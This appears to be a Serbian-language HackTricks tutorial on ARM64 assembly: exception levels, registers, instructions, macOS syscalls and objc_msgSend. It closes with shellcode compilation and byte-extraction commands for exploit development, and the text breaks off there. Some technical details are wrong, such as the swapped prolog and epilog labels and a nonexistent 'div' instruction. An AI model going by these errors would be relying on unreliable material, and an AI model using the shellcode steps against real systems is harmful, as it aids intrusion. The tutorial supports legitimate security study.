Uvod u ARM64v8

Reading time: 34 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Nivoi Izuzetaka - EL (ARM64v8)

U ARMv8 arhitekturi, nivoi izvršenja, poznati kao Nivoi Izuzetaka (EL), definišu nivo privilegije i mogućnosti izvršnog okruženja. Postoje četiri nivoa izuzetaka, od EL0 do EL3, svaki sa različitom svrhom:

  1. EL0 - Korisnički Mod:
  • Ovo je nivo sa najmanje privilegija i koristi se za izvršavanje redovnog aplikacionog koda.
  • Aplikacije koje se izvršavaju na EL0 su izolovane jedna od druge i od sistemskog softvera, čime se poboljšava sigurnost i stabilnost.
  1. EL1 - Mod Jezgra Operativnog Sistema:
  • Većina jezgara operativnih sistema radi na ovom nivou.
  • EL1 ima više privilegija od EL0 i može pristupiti sistemskim resursima, ali uz neka ograničenja kako bi se osigurala integritet sistema.
  1. EL2 - Mod Hipervizora:
  • Ovaj nivo se koristi za virtualizaciju. Hipervizor koji radi na EL2 može upravljati više operativnih sistema (svaki u svom EL1) koji rade na istom fizičkom hardveru.
  • EL2 pruža funkcije za izolaciju i kontrolu virtualizovanih okruženja.
  1. EL3 - Mod Sigurnog Monitoringa:
  • Ovo je nivo sa najviše privilegija i često se koristi za sigurno pokretanje i poverljiva izvršna okruženja.
  • EL3 može upravljati i kontrolisati pristupe između sigurnih i nesigurnih stanja (kao što su sigurno pokretanje, poverljivi OS, itd.).

Korišćenje ovih nivoa omogućava strukturiran i siguran način upravljanja različitim aspektima sistema, od korisničkih aplikacija do najprivilegovanijeg sistemskog softvera. Pristup ARMv8 nivoima privilegija pomaže u efikasnom izolovanju različitih komponenti sistema, čime se poboljšava sigurnost i otpornost sistema.

Registari (ARM64v8)

ARM64 ima 31 opšti registar, označen x0 do x30. Svaki može da čuva 64-bitnu (8-bajtnu) vrednost. Za operacije koje zahtevaju samo 32-bitne vrednosti, isti registri mogu biti dostupni u 32-bitnom režimu koristeći imena w0 do w30.

  1. x0 do x7 - Ovi se obično koriste kao registri za privremene podatke i za prosleđivanje parametara podprogramima.
  • x0 takođe nosi povratne podatke funkcije.
  1. x8 - U Linux jezgru, x8 se koristi kao broj sistemskog poziva za svc instrukciju. U macOS se koristi x16!
  2. x9 do x15 - Više privremenih registara, često korišćenih za lokalne promenljive.
  3. x16 i x17 - Intra-proceduralni Registri Poziva. Privremeni registri za neposredne vrednosti. Takođe se koriste za indirektne pozive funkcija i PLT (Tabela Povezivanja Procedura) stubove.
  • x16 se koristi kao broj sistemskog poziva za svc instrukciju u macOS.
  1. x18 - Platformski registar. Može se koristiti kao opšti registar, ali na nekim platformama je ovaj registar rezervisan za platformi-specifične upotrebe: Pokazivač na trenutni blok okruženja niti u Windows-u, ili za pokazivanje na trenutno izvršavanje strukture zadatka u linux jezgru.
  2. x19 do x28 - Ovi su registri sačuvani od strane pozvane funkcije. Funkcija mora sačuvati vrednosti ovih registara za svog pozivaoca, tako da se čuvaju na steku i obnavljaju pre nego što se vrate pozivaocu.
  3. x29 - Pokazivač okvira za praćenje okvira steka. Kada se kreira novi okvir steka zbog poziva funkcije, x29 registar se čuva na steku i novi pokazivač okvira adresa je (sp adresa) čuva u ovom registru.
  • Ovaj registar se takođe može koristiti kao opšti registar iako se obično koristi kao referenca za lokalne promenljive.
  1. x30 ili lr- Link registar. Drži povratnu adresu kada se izvrši BL (Granica sa Linkom) ili BLR (Granica sa Linkom do Registra) instrukcija čuvajući pc vrednost u ovom registru.
  • Takođe se može koristiti kao bilo koji drugi registar.
  • Ako trenutna funkcija planira da pozove novu funkciju i time prepiše lr, čuvaće je na steku na početku, ovo je epilog (stp x29, x30 , [sp, #-48]; mov x29, sp -> Čuvanje fp i lr, generisanje prostora i dobijanje novog fp) i obnavlja je na kraju, ovo je prolog (ldp x29, x30, [sp], #48; ret -> Obnavljanje fp i lr i povratak).
  1. sp - Pokazivač steka, koristi se za praćenje vrha steka.
  • sp vrednost treba uvek da bude održavana na najmanje quadword poravnanje ili može doći do izuzetka poravnanja.
  1. pc - Programski brojač, koji pokazuje na sledeću instrukciju. Ovaj registar može se ažurirati samo kroz generisanje izuzetaka, povratke iz izuzetaka i granice. Jedine obične instrukcije koje mogu čitati ovaj registar su granice sa linkom (BL, BLR) da bi se sačuvala pc adresa u lr (Link Registar).
  2. xzr - Nulti registar. Takođe se naziva wzr u njegovom 32-bitnom obliku. Može se koristiti za lako dobijanje nulte vrednosti (obična operacija) ili za izvršavanje poređenja koristeći subs kao subs XZR, Xn, #10 čuvajući rezultantne podatke nigde (u xzr).

Wn registri su 32bitna verzija Xn registra.

SIMD i Registari za Plutajuće Tačke

Pored toga, postoji još 32 registra dužine 128bit koji se mogu koristiti u optimizovanim operacijama sa više podataka (SIMD) i za izvođenje aritmetike sa plutajućim tačkama. Ovi se nazivaju Vn registri iako mogu raditi i u 64-bitnom, 32-bitnom, 16-bitnom i 8-bitnom režimu, a tada se nazivaju Qn, Dn, Sn, Hn i Bn.

Sistemski Registri

Postoje stotine sistemskih registara, takođe poznatih kao registri specijalne namene (SPRs), koji se koriste za praćenje i kontrolu ponašanja procesora.
Mogu se čitati ili postavljati samo korišćenjem posvećenih specijalnih instrukcija mrs i msr.

Specijalni registri TPIDR_EL0 i TPIDDR_EL0 se često nalaze prilikom inženjeringa obrnutih kodova. Sufiks EL0 označava minimalni izuzetak sa kojeg se registar može pristupiti (u ovom slučaju EL0 je regularni izuzetak (privilegija) nivo na kojem redovni programi rade).
Često se koriste za čuvanje osnovne adrese regiona lokalne memorije. Obično je prvi čitljiv i zapisiv za programe koji rade u EL0, ali se drugi može čitati iz EL0 i pisati iz EL1 (kao jezgro).

  • mrs x0, TPIDR_EL0 ; Čitaj TPIDR_EL0 u x0
  • msr TPIDR_EL0, X0 ; Zapiši x0 u TPIDR_EL0

PSTATE

PSTATE sadrži nekoliko komponenti procesa serijalizovanih u operativnom sistemu vidljivom SPSR_ELx specijalnom registru, pri čemu je X nivo dozvole izuzetka koji je pokrenut (ovo omogućava obnavljanje stanja procesa kada izuzetak završi).
Ovo su dostupna polja:

  • N, Z, C i V uslovne zastavice:
  • N znači da je operacija dala negativan rezultat
  • Z znači da je operacija dala nulu
  • C znači da je operacija nosila
  • V znači da je operacija dala potpisano prelivanje:
  • Zbir dva pozitivna broja daje negativan rezultat.
  • Zbir dva negativna broja daje pozitivan rezultat.
  • U oduzimanju, kada se veliki negativni broj oduzima od manjeg pozitivnog broja (ili obrnuto), i rezultat se ne može predstaviti unutar opsega date veličine bita.
  • Očigledno, procesor ne zna da li je operacija potpisana ili ne, pa će proveriti C i V u operacijama i označiti da li je došlo do prenosa u slučaju da je bila potpisana ili nepodpisana.

warning

Nisu sve instrukcije ažuriraju ove zastavice. Neke kao CMP ili TST to rade, a druge koje imaju s sufiks kao ADDS takođe to rade.

  • Trenutna širina registra (nRW) zastavica: Ako zastavica drži vrednost 0, program će se izvršavati u AArch64 izvršnom stanju kada se ponovo pokrene.
  • Trenutni Nivo Izuzetka (EL): Regularni program koji se izvršava u EL0 će imati vrednost 0.
  • Zastavica za pojedinačno korakanje (SS): Koristi se od strane debagera za pojedinačno korakanje postavljanjem SS zastavice na 1 unutar SPSR_ELx kroz izuzetak. Program će izvršiti jedan korak i izazvati izuzetak pojedinačnog koraka.
  • Zastavica za nelegalno stanje izuzetka (IL): Koristi se za označavanje kada privilegovani softver izvrši nevalidan prenos nivoa izuzetka, ova zastavica se postavlja na 1 i procesor pokreće izuzetak nelegalnog stanja.
  • DAIF zastavice: Ove zastavice omogućavaju privilegovanom programu da selektivno maskira određene spoljašnje izuzetke.
  • Ako je A 1, to znači da će biti pokrenuti asinkroni aborti. I konfiguriše odgovor na spoljne hardverske Zahteve za Prekid (IRQ). i F se odnosi na Brze Zahteve za Prekid (FIR).
  • Zastavice za izbor pokazivača steka (SPS): Privilegovani programi koji se izvršavaju u EL1 i iznad mogu prebacivati između korišćenja svog pokazivača steka i korisničkog modela (npr. između SP_EL1 i EL0). Ova promena se vrši pisanjem u SPSel specijalni registar. Ovo se ne može uraditi iz EL0.

Konvencija Poziva (ARM64v8)

ARM64 konvencija poziva specificira da se prvih osam parametara funkciji prosleđuje u registrima x0 do x7. Dodatni parametri se prosleđuju na steku. Povratna vrednost se vraća u registru x0, ili u x1 takođe ako je dugačka 128 bita. Registri x19 do x30 i sp moraju biti sačuvani tokom poziva funkcija.

Kada čitate funkciju u asembleru, tražite prolog i epilog funkcije. Prolog obično uključuje čuvanje pokazivača okvira (x29), postavljanje novog pokazivača okvira, i alokaciju prostora na steku. Epilog obično uključuje obnavljanje sačuvanog pokazivača okvira i povratak iz funkcije.

Konvencija Poziva u Swift-u

Swift ima svoju konvenciju poziva koja se može naći u https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64

Uobičajene Instrukcije (ARM64v8)

ARM64 instrukcije obično imaju format opcode dst, src1, src2, gde je opcode operacija koja treba da se izvrši (kao što su add, sub, mov, itd.), dst je odredišni registar gde će rezultat biti sačuvan, a src1 i src2 su izvorni registri. Neposredne vrednosti se takođe mogu koristiti umesto izvora registara.

  • mov: Premesti vrednost iz jednog registra u drugi.

  • Primer: mov x0, x1 — Ovo premesti vrednost iz x1 u x0.

  • ldr: Učitaj vrednost iz memorije u registar.

  • Primer: ldr x0, [x1] — Ovo učitava vrednost iz memorijske lokacije na koju pokazuje x1 u x0.

  • Offset mod: Offset koji utiče na izvorni pokazivač je naznačen, na primer:

  • ldr x2, [x1, #8], ovo će učitati u x2 vrednost iz x1 + 8

  • ldr x2, [x0, x1, lsl #2], ovo će učitati u x2 objekat iz niza x0, sa pozicije x1 (indeks) * 4

  • Pre-indeksirani mod: Ovo će primeniti proračune na izvor, dobiti rezultat i takođe sačuvati novi izvor u izvoru.

  • ldr x2, [x1, #8]!, ovo će učitati x1 + 8 u x2 i sačuvati u x1 rezultat x1 + 8

  • str lr, [sp, #-4]!, Sačuvaj link registar u sp i ažuriraj registar sp

  • Post-indeks mod: Ovo je kao prethodni, ali se memorijska adresa pristupa i zatim se izračunava i čuva offset.

  • ldr x0, [x1], #8, učitaj x1 u x0 i ažuriraj x1 sa x1 + 8

  • PC-relativno adresiranje: U ovom slučaju, adresa za učitavanje se izračunava u odnosu na PC registar

  • ldr x1, =_start, Ovo će učitati adresu gde simbol _start počinje u x1 u odnosu na trenutni PC.

  • str: Sačuvaj vrednost iz registra u memoriju.

  • Primer: str x0, [x1] — Ovo čuva vrednost u x0 u memorijskoj lokaciji na koju pokazuje x1.

  • ldp: Učitaj par registara. Ova instrukcija učitava dva registra iz uzastopnih memorijskih lokacija. Memorijska adresa se obično formira dodavanjem offseta vrednosti u drugom registru.

  • Primer: ldp x0, x1, [x2] — Ovo učitava x0 i x1 iz memorijskih lokacija na x2 i x2 + 8, respektivno.

  • stp: Sačuvaj par registara. Ova instrukcija čuva dva registra u uzastopne memorijske lokacije. Memorijska adresa se obično formira dodavanjem offseta vrednosti u drugom registru.

  • Primer: stp x0, x1, [sp] — Ovo čuva x0 i x1 u memorijske lokacije na sp i sp + 8, respektivno.

  • stp x0, x1, [sp, #16]! — Ovo čuva x0 i x1 u memorijske lokacije na sp+16 i sp + 24, respektivno, i ažurira sp sa sp+16.

  • add: Dodaj vrednosti dva registra i sačuvaj rezultat u registru.

  • Sintaksa: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]

  • Xn1 -> Odredište

  • Xn2 -> Operanda 1

  • Xn3 | #imm -> Operando 2 (registar ili neposredna vrednost)

  • [shift #N | RRX] -> Izvrši pomeranje ili pozovi RRX

  • Primer: add x0, x1, x2 — Ovo dodaje vrednosti u x1 i x2 zajedno i čuva rezultat u x0.

  • add x5, x5, #1, lsl #12 — Ovo je jednako 4096 (1 pomerano 12 puta) -> 1 0000 0000 0000 0000

  • adds Ovo izvršava add i ažurira zastavice

  • sub: Oduzmi vrednosti dva registra i sačuvaj rezultat u registru.

  • Proveri add sintaksu.

  • Primer: sub x0, x1, x2 — Ovo oduzima vrednost u x2 od x1 i čuva rezultat u x0.

  • subs Ovo je kao sub ali ažurira zastavicu

  • mul: Pomnoži vrednosti dva registra i sačuvaj rezultat u registru.

  • Primer: mul x0, x1, x2 — Ovo množi vrednosti u x1 i x2 i čuva rezultat u x0.

  • div: Podeli vrednost jednog registra sa drugim i sačuvaj rezultat u registru.

  • Primer: div x0, x1, x2 — Ovo deli vrednost u x1 sa x2 i čuva rezultat u x0.

  • lsl, lsr, asr, ror, rrx:

  • Logičko pomeranje levo: Dodaje 0s sa kraja pomerajući druge bitove napred (množi sa n puta 2)

  • Logičko pomeranje desno: Dodaje 1s na početku pomerajući druge bitove unazad (deli sa n puta 2 u nepodpisanom)

  • Aritmetičko pomeranje desno: Kao lsr, ali umesto dodavanja 0s, ako je najznačajniji bit 1, dodaju se 1s (deli sa n puta 2 u potpisanom)

  • Rotacija desno: Kao lsr ali šta god da se ukloni sa desne strane se dodaje levo

  • Rotacija desno sa proširenjem: Kao ror, ali sa zastavicom prenosa kao "najznačajnijim bitom". Tako se zastavica prenosa pomera na bit 31, a uklonjeni bit na zastavicu prenosa.

  • bfm: Pomeranje Bit Polja, ove operacije kopiraju bitove 0...n iz vrednosti i postavljaju ih u pozicije m..m+n. #s označava najlevo bit poziciju, a #r količinu rotacije desno.

  • Pomeranje bit polja: BFM Xd, Xn, #r

  • Potpisano pomeranje bit polja: SBFM Xd, Xn, #r, #s

  • Nepotpisano pomeranje bit polja: UBFM Xd, Xn, #r, #s

  • Ekstrakt i Umetanje Bit Polja: Kopira bit polje iz registra i kopira ga u drugi registar.

  • BFI X1, X2, #3, #4 Umetni 4 bita iz X2 sa 3. bita X1

  • BFXIL X1, X2, #3, #4 Ekstrahuje iz 3. bita X2 četiri bita i kopira ih u X1

  • SBFIZ X1, X2, #3, #4 Proširuje potpis 4 bita iz X2 i umetne ih u X1 počinjući na bit poziciji 3, postavljajući desne bitove na nulu

  • SBFX X1, X2, #3, #4 Ekstrahuje 4 bita počinjući na bitu 3 iz X2, proširuje ih potpisom i postavlja rezultat u X1

  • UBFIZ X1, X2, #3, #4 Proširuje 4 bita iz X2 i umetne ih u X1 počinjući na bit poziciji 3, postavljajući desne bitove na nulu

  • UBFX X1, X2, #3, #4 Ekstrahuje 4 bita počinjući na bitu 3 iz X2 i postavlja rezultat proširen sa nulom u X1.

  • Proširenje Potpisa na X: Proširuje potpis (ili dodaje samo 0s u nepodpisanoj verziji) vrednosti da bi mogla da se izvrše operacije sa njom:

  • SXTB X1, W2 Proširuje potpis bajta iz W2 u X1 (W2 je polovina X2) da popuni 64bita

  • SXTH X1, W2 Proširuje potpis 16-bitnog broja iz W2 u X1 da popuni 64bita

  • SXTW X1, W2 Proširuje potpis bajta iz W2 u X1 da popuni 64bita

  • UXTB X1, W2 Dodaje 0s (nepotpisano) bajtu iz W2 u X1 da popuni 64bita

  • extr: Ekstrahuje bitove iz određenog para registara koji su spojeni.

  • Primer: EXTR W3, W2, W1, #3 Ovo će spojiti W1+W2 i uzeti od bita 3 W2 do bita 3 W1 i sačuvati u W3.

  • cmp: Uporedi dva registra i postavi uslovne zastavice. To je alias subs postavljajući odredišni registar na nulti registar. Korisno za proveru da li je m == n.

  • Podržava istu sintaksu kao subs

  • Primer: cmp x0, x1 — Ovo upoređuje vrednosti u x0 i x1 i postavlja uslovne zastavice u skladu s tim.

  • cmn: Uporedi negativni operand. U ovom slučaju je to alias adds i podržava istu sintaksu. Korisno za proveru da li je m == -n.

  • ccmp: Uslovno poređenje, to je poređenje koje će se izvršiti samo ako je prethodno poređenje bilo tačno i posebno će postaviti nzcv bitove.

  • cmp x1, x2; ccmp x3, x4, 0, NE; blt _func -> ako x1 != x2 i x3 < x4, skoči na func

  • Ovo je zato što će ccmp biti izvršen samo ako je prethodni cmp bio NE, ako nije, bitovi nzcv će biti postavljeni na 0 (što neće zadovoljiti blt poređenje).

  • Ovo se takođe može koristiti kao ccmn (isto ali negativno, kao cmp vs cmn).

  • tst: Proverava da li su bilo koje od vrednosti poređenja oba 1 (radi kao ANDS bez čuvanja rezultata bilo gde). Korisno je proveriti registar sa vrednošću i proveriti da li je bilo koji od bitova registra označenih u vrednosti 1.

  • Primer: tst X1, #7 Proveri da li je bilo koji od poslednja 3 bita X1 1

  • teq: XOR operacija odbacujući rezultat

  • b: Bezuslovna Granica

  • Primer: b myFunction

  • Napomena da ovo neće popuniti link registar sa povratnom adresom (nije pogodno za pozive podprograma koji treba da se vrate nazad)

  • bl: Granica sa linkom, koristi se za pozivanje podprograma. Čuva povratnu adresu u x30.

  • Primer: bl myFunction — Ovo poziva funkciju myFunction i čuva povratnu adresu u x30.

  • Napomena da ovo neće popuniti link registar sa povratnom adresom (nije pogodno za pozive podprograma koji treba da se vrate nazad)

  • blr: Granica sa Linkom do Registra, koristi se za pozivanje podprograma gde je cilj naznačen u registru. Čuva povratnu adresu u x30. (Ovo je

  • Primer: blr x1 — Ovo poziva funkciju čija je adresa sadržana u x1 i čuva povratnu adresu u x30.

  • ret: Povratak iz podprograma, obično koristeći adresu u x30.

  • Primer: ret — Ovo se vraća iz trenutnog podprograma koristeći povratnu adresu u x30.

  • b.<cond>: Uslovne granice

  • b.eq: Granica ako je jednako, na osnovu prethodne cmp instrukcije.

  • Primer: b.eq label — Ako je prethodna cmp instrukcija našla dve jednake vrednosti, ovo skače na label.

  • b.ne: Granica ako nije jednako. Ova instrukcija proverava uslovne zastavice (koje su postavljene prethodnom instrukcijom poređenja), i ako upoređene vrednosti nisu jednake, granica se postavlja na oznaku ili adresu.

  • Primer: Nakon cmp x0, x1 instrukcije, b.ne label — Ako vrednosti u x0 i x1 nisu jednake, ovo skače na label`.

  • cbz: Uporedi i Granica na Nulu. Ova instrukcija upoređuje registar sa nulom, i ako su jednake, granica se postavlja na oznaku ili adresu.

  • Primer: cbz x0, label — Ako je vrednost u x0 nula, ovo skače na label.

  • cbnz: Uporedi i Granica na Nenu. Ova instrukcija upoređuje registar sa nulom, i ako nisu jednake, granica se postavlja na oznaku ili adresu.

  • Primer: cbnz x0, label — Ako je vrednost u x0 nenula, ovo skače na label.

  • tbnz: Testiraj bit i granica na nenulu

  • Primer: tbnz x0, #8, label

  • tbz: Testiraj bit i granica na nulu

  • Primer: tbz x0, #8, label

  • Uslovne operacije selekcije: Ovo su operacije čije se ponašanje menja u zavisnosti od uslovnih bitova.

  • csel Xd, Xn, Xm, cond -> csel X0, X1, X2, EQ -> Ako je tačno, X0 = X1, ako nije, X0 = X2

  • csinc Xd, Xn, Xm, cond -> Ako je tačno, Xd = Xn, ako nije, Xd = Xm + 1

  • cinc Xd, Xn, cond -> Ako je tačno, Xd = Xn + 1, ako nije, Xd = Xn

  • csinv Xd, Xn, Xm, cond -> Ako je tačno, Xd = Xn, ako nije, Xd = NOT(Xm)

  • cinv Xd, Xn, cond -> Ako je tačno, Xd = NOT(Xn), ako nije, Xd = Xn

  • csneg Xd, Xn, Xm, cond -> Ako je tačno, Xd = Xn, ako nije, Xd = - Xm

  • cneg Xd, Xn, cond -> Ako je tačno, Xd = - Xn, ako nije, Xd = Xn

  • cset Xd, Xn, Xm, cond -> Ako je tačno, Xd = 1, ako nije, Xd = 0

  • csetm Xd, Xn, Xm, cond -> Ako je tačno, Xd = <svi 1>, ako nije, Xd = 0

  • adrp: Izračunaj adresu stranice simbola i sačuvaj je u registru.

  • Primer: adrp x0, symbol — Ovo izračunava adresu stranice simbola symbol i čuva je u x0.

  • ldrsw: Učitaj potpisanu 32-bitnu vrednost iz memorije i proširi je na 64 bita.

  • Primer: ldrsw x0, [x1] — Ovo učitava potpisanu 32-bitnu vrednost iz memorijske lokacije na koju pokazuje x1, proširuje je na 64 bita i čuva u x0.

  • stur: Sačuvaj vrednost registra na memorijsku lokaciju, koristeći offset iz drugog registra.

  • Primer: stur x0, [x1, #4] — Ovo čuva vrednost u x0 u memorijskoj adresi koja je 4 bajta veća od adrese koja se trenutno nalazi u x1.

  • svc : Napravi sistemski poziv. To znači "Poziv Supervizora". Kada procesor izvrši ovu instrukciju, prebacuje se iz korisničkog moda u kernel mod i skače na određenu lokaciju u memoriji gde se nalazi kod za obradu sistemskih poziva jezgra.

  • Primer:

armasm
mov x8, 93  ; Učitaj broj sistemskog poziva za izlaz (93) u registar x8.
mov x0, 0   ; Učitaj kod statusa izlaza (0) u registar x0.
svc 0       ; Napravi sistemski poziv.

Prolog Funkcije

  1. Sačuvaj link registar i pokazivač okvira na steku:
armasm
stp x29, x30, [sp, #-16]!  ; store pair x29 and x30 to the stack and decrement the stack pointer
  1. Postavite novi pokazivač okvira: mov x29, sp (postavlja novi pokazivač okvira za trenutnu funkciju)
  2. Dodelite prostor na steku za lokalne promenljive (ako je potrebno): sub sp, sp, <size> (gde je <size> broj bajtova koji su potrebni)

Epilog funkcije

  1. Dealokacija lokalnih promenljivih (ako su dodeljene): add sp, sp, <size>
  2. Obnovite registrator veze i pokazivač okvira:
armasm
ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment the stack pointer
  1. Return: ret (vraća kontrolu pozivaocu koristeći adresu u link registru)

AARCH32 Izvršni Stanje

Armv8-A podržava izvršavanje 32-bitnih programa. AArch32 može raditi u jednom od dva skupa instrukcija: A32 i T32 i može prebacivati između njih putem interworking.
Privilegovani 64-bitni programi mogu zakazati izvršavanje 32-bitnih programa izvršavanjem prenosa nivoa izuzetka na niže privilegovane 32-bitne.
Napomena: prelazak sa 64-bitnog na 32-bitni se dešava sa smanjenjem nivoa izuzetka (na primer, 64-bitni program u EL1 pokreće program u EL0). Ovo se postiže postavljanjem bita 4 SPSR_ELx specijalnog registra na 1 kada je AArch32 procesni nit spreman za izvršavanje, a ostatak SPSR_ELx čuva AArch32 programe CPSR. Zatim, privilegovani proces poziva ERET instrukciju tako da procesor prelazi na AArch32 ulazeći u A32 ili T32 u zavisnosti od CPSR**.**

Interworking se dešava korišćenjem J i T bitova CPSR. J=0 i T=0 znači A32 i J=0 i T=1 znači T32. Ovo se u suštini prevodi na postavljanje najnižeg bita na 1 da označi da je skup instrukcija T32.
Ovo se postavlja tokom interworking grana instrukcija, ali se takođe može postaviti direktno sa drugim instrukcijama kada je PC postavljen kao registar odredišta. Primer:

Još jedan primer:

armasm
_start:
.code 32                ; Begin using A32
add r4, pc, #1      ; Here PC is already pointing to "mov r0, #0"
bx r4               ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)

.code 16:
mov r0, #0
mov r0, #8

Registar

Postoji 16 32-bitnih registara (r0-r15). Od r0 do r14 mogu se koristiti za bilo koju operaciju, međutim neki od njih su obično rezervisani:

  • r15: Program counter (uvek). Sadrži adresu sledeće instrukcije. U A32 trenutni + 8, u T32, trenutni + 4.
  • r11: Frame Pointer
  • r12: Intra-procedural call register
  • r13: Stack Pointer
  • r14: Link Register

Pored toga, registri se čuvaju u banked registries. To su mesta koja čuvaju vrednosti registara omogućavajući brzo prebacivanje konteksta u obradi izuzetaka i privilegovanih operacija kako bi se izbegla potreba za ručnim čuvanjem i obnavljanjem registara svaki put.
To se postiže čuvanjem stanja procesora iz CPSR u SPSR režima procesora u kojem se izuzetak dešava. Kada se izuzetak vrati, CPSR se obnavlja iz SPSR.

CPSR - Registar trenutnog statusa programa

U AArch32 CPSR funkcioniše slično PSTATE u AArch64 i takođe se čuva u SPSR_ELx kada se izuzetak dešava da bi se kasnije obnovila izvršavanje:

Polja su podeljena u nekoliko grupa:

  • Registar statusa aplikacionog programa (APSR): Aritmetičke zastavice i dostupne iz EL0
  • Registar stanja izvršavanja: Ponašanje procesa (upravlja OS).

Registar statusa aplikacionog programa (APSR)

  • Zastavice N, Z, C, V (poput AArch64)
  • Zastavica Q: Postavlja se na 1 kada dođe do saturacije celih brojeva tokom izvršavanja specijalizovane aritmetičke instrukcije. Kada se postavi na 1, zadržaće tu vrednost dok se ručno ne postavi na 0. Pored toga, ne postoji nijedna instrukcija koja implicitno proverava njenu vrednost, to se mora uraditi čitanjem ručno.
  • Zastavice GE (Veće ili jednako): Koriste se u SIMD (Jedna instrukcija, više podataka) operacijama, kao što su "paralelno sabiranje" i "paralelno oduzimanje". Ove operacije omogućavaju obradu više tačaka podataka u jednoj instrukciji.

Na primer, instrukcija UADD8 sabira četiri para bajtova (iz dva 32-bitna operanda) paralelno i čuva rezultate u 32-bitnom registru. Zatim postavlja GE zastavice u APSR na osnovu ovih rezultata. Svaka GE zastavica odgovara jednom od sabiranja bajtova, ukazujući da li je sabiranje za taj par bajtova prelilo.

Instrukcija SEL koristi ove GE zastavice za izvođenje uslovnih akcija.

Registri stanja izvršavanja

  • Bitovi J i T: J treba da bude 0, a ako je T 0 koristi se skup instrukcija A32, a ako je 1, koristi se T32.
  • IT Block State Register (ITSTATE): Ovo su bitovi od 10-15 i 25-26. Čuvaju uslove za instrukcije unutar grupe sa prefiksom IT.
  • Bit E: Ukazuje na endianness.
  • Bitovi za režim i masku izuzetka (0-4): Određuju trenutno stanje izvršavanja. 5. označava da li program radi kao 32bit (1) ili 64bit (0). Ostala 4 predstavljaju režim izuzetka koji se trenutno koristi (kada se desi izuzetak i obrađuje se). Broj postavljen ukazuje na trenutni prioritet u slučaju da se drugi izuzetak pokrene dok se ovaj obrađuje.
  • AIF: Određeni izuzeci mogu biti onemogućeni korišćenjem bitova A, I, F. Ako je A 1, to znači da će asinkroni aborti biti pokrenuti. I konfiguriše odgovor na spoljne hardverske Interrupts Requests (IRQs). a F se odnosi na Fast Interrupt Requests (FIRs).

macOS

BSD syscalls

Pogledajte syscalls.master. BSD syscalls će imati x16 > 0.

Mach Traps

Pogledajte u syscall_sw.c mach_trap_table i u mach_traps.h prototipove. Maksimalan broj Mach traps je MACH_TRAP_TABLE_COUNT = 128. Mach traps će imati x16 < 0, tako da treba da pozovete brojeve iz prethodne liste sa minusom: _kernelrpc_mach_vm_allocate_trap je -10.

Takođe možete proveriti libsystem_kernel.dylib u disassembleru da biste saznali kako da pozovete ove (i BSD) syscalls:

bash
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e

# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

Napomena da Ida i Ghidra takođe mogu dekompilirati specifične dylibs iz keša jednostavno prolazeći kroz keš.

tip

Ponekad je lakše proveriti dekompilirani kod iz libsystem_kernel.dylib nego proveravati izvorni kod jer se kod nekoliko syscalls (BSD i Mach) generiše putem skripti (proverite komentare u izvoru) dok u dylib-u možete pronaći šta se poziva.

machdep pozivi

XNU podržava još jedan tip poziva koji se naziva zavistan od mašine. Broj ovih poziva zavisi od arhitekture i ni pozivi ni brojevi nisu garantovani da ostanu konstantni.

comm stranica

Ovo je stranica memorije koju poseduje kernel i koja je mapirana u adresni prostor svakog korisničkog procesa. Namenjena je da ubrza prelazak iz korisničkog moda u kernel prostor brže nego korišćenje syscalls za kernel usluge koje se toliko koriste da bi ovaj prelazak bio veoma neefikasan.

Na primer, poziv gettimeofdate čita vrednost timeval direktno sa comm stranice.

objc_msgSend

Veoma je uobičajeno pronaći ovu funkciju korišćenu u Objective-C ili Swift programima. Ova funkcija omogućava pozivanje metode objekta u Objective-C.

Parametri (više informacija u dokumentaciji):

  • x0: self -> Pokazivač na instancu
  • x1: op -> Selektor metode
  • x2... -> Ostatak argumenata pozvane metode

Dakle, ako stavite breakpoint pre grananja na ovu funkciju, lako možete pronaći šta se poziva u lldb-u (u ovom primeru objekat poziva objekat iz NSConcreteTask koji će izvršiti komandu):

bash
# Right in the line were objc_msgSend will be called
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>

(lldb) x/s $x1
0x1736d3a6e: "launch"

(lldb) po [$x0 launchPath]
/bin/sh

(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)

tip

Postavljanjem env varijable NSObjCMessageLoggingEnabled=1 moguće je logovati kada se ova funkcija poziva u datoteci kao što je /tmp/msgSends-pid.

Pored toga, postavljanjem OBJC_HELP=1 i pozivanjem bilo kog binarnog fajla možete videti druge varijable okruženja koje možete koristiti da log kada se određene Objc-C akcije dešavaju.

Kada se ova funkcija pozove, potrebno je pronaći pozvanu metodu označene instance, za to se vrše različite pretrage:

  • Izvršiti optimističku pretragu u kešu:
  • Ako je uspešno, gotovo
  • Zauzeti runtimeLock (čitanje)
  • Ako (realize && !cls->realized) realizovati klasu
  • Ako (initialize && !cls->initialized) inicijalizovati klasu
  • Pokušati keš klase:
  • Ako je uspešno, gotovo
  • Pokušati listu metoda klase:
  • Ako je pronađeno, popuniti keš i gotovo
  • Pokušati keš superklase:
  • Ako je uspešno, gotovo
  • Pokušati listu metoda superklase:
  • Ako je pronađeno, popuniti keš i gotovo
  • Ako (resolver) pokušati metodu resolvera, i ponoviti od pretrage klase
  • Ako ste još ovde (= sve ostalo je propalo) pokušati forwarder

Shellcodes

Da biste kompajlirali:

bash
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem

Da biste izvukli bajtove:

bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

Za novije macOS:

bash
